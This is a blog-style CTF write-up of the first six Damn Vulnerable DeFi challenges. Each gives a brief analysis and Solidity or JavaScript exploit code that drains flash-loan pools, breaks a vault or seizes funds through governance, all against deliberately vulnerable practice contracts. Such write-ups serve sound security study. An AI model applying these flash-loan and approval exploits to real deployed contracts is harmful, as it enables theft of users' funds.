Hey, I'm Anudeep diving deep into smart contract auditing and exploring the security side of DeFi π
Introduction
I've been playing around with Damn Vulnerable DeFi, and this write-up is a collection of my notes, thought process, and how I tackled each challenge. If you're following along, I recommend taking a look at the challenge contracts yourself. You don't need to memorize every line, but having a solid grasp of how they work will definitely help.
Challenge #1 β Unstoppable
π§ Task: Stop the vault from offering flash loans.
π Analysis
flashLoan()
checks if totalAssets == totalSupply
. If someone sends tokens directly to the vault, the balance increases but totalSupply
doesnβt, so the condition fails.
β Solution
vm.startPrank(attacker);
token.transfer(address(vault), 1 ether);
vm.stopPrank();
Challenge #2 β Naive Receiver
π§ Task: Drain ETH from a user contract via the flash loan pool.
π Analysis
The pool allows anyone to trigger a flash loan for any receiver. The fixed 1 ETH fee is always paid by the receiver. Spam the userβs contract to death.
β Solution
for (uint i = 0; i < 10; i++) {
pool.flashLoan(receiver, 0);
}
Receiver loses 10 ETH paying the fees.
Challenge #3 β Truster
π§ Task: Drain 1M DVT tokens from the pool.
π Analysis
flashLoan()
gives us control over a target
and data
. We can make the pool approve us to spend all its tokens.
β Solution
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", attacker, amount);
pool.flashLoan(0, attacker, address(token), data);
token.transferFrom(address(pool), attacker, amount);
Challenge #4 β Side Entrance
π§ Task: Drain all 1000 ETH from the pool.
π Analysis
In the callback from flashLoan()
, deposit the ETH back using deposit()
. This satisfies the flash loan check. Then withdraw it all.
β Solution
function execute() external payable {
pool.deposit{value: msg.value}();
}
function attack() external {
pool.flashLoan(1000 ether);
pool.withdraw();
payable(attacker).transfer(address(this).balance);
}
Challenge #5 β The Rewarder
π§ Task: Claim the majority of rewards in a new round.
π Analysis
Wait 5 days, take a flash loan, deposit into the pool, and immediately trigger distributeRewards()
to get a big share.
β Solution
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
function receiveFlashLoan(uint256 amount) external {
token.approve(address(pool), amount);
pool.deposit(amount);
pool.distributeRewards();
pool.withdraw(amount);
token.transfer(pool, amount);
}
Challenge #6 β Selfie
π§ Task: Drain 1.5M DVT tokens using governance.
π Analysis
Use a flash loan to get temporary voting power, take a snapshot, queue an action to call emergencyExit()
, then execute it after the delay.
β Solution
function onFlashLoan(...) external {
token.snapshot();
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", attacker);
actionId = governance.queueAction(address(pool), 0, data);
token.transfer(address(pool), amount);
}
function drain() external {
governance.executeAction(actionId);
}
More write-ups coming soon. Stay paranoid π§ π₯